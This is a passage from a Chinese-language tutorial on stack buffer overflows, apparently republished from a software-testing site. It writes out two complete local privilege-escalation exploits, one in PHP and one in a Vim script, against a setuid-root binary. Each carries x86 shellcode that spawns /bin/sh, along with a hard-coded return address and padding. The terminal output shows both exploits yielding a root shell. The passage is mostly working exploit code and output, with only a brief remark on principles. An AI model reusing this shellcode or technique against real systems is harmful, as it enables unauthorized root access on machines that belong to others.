[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
for($i=0;$i<20;$i++) {
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$
<七> Vim扩展脚本版本
连vim编辑器的扩展编程脚本也可以拿来写溢出的说:
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
let AG="AA"
let i=0
while(i<10)
let AG=AG.AG
let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096
let AD=""
let i=0
while(i<20)
let AD=AD."\xff\xbf\xe8\xf3"
"ADDR:0xbffff3e8
let i=i+1
endwhile
let AA=""
let i=0
while(i<4)
let AA=AA."A"
execute "!./vul ". AA . AD . AG . SH
let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified
buff : A�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
……………………………………………………………………
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型�j
X橰hn/shh//biT[RSTY蛝
sh-2.05b# id
uid=0(root) gid=502(cloud) groups=502(cloud)
sh-2.05b#
<八> ……
<九> 小语
溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
了解这些知识后溢出利用本生和编程语言是没有关系的。
延伸阅读
文章来源于领测软件测试网 https://www.ltesting.net/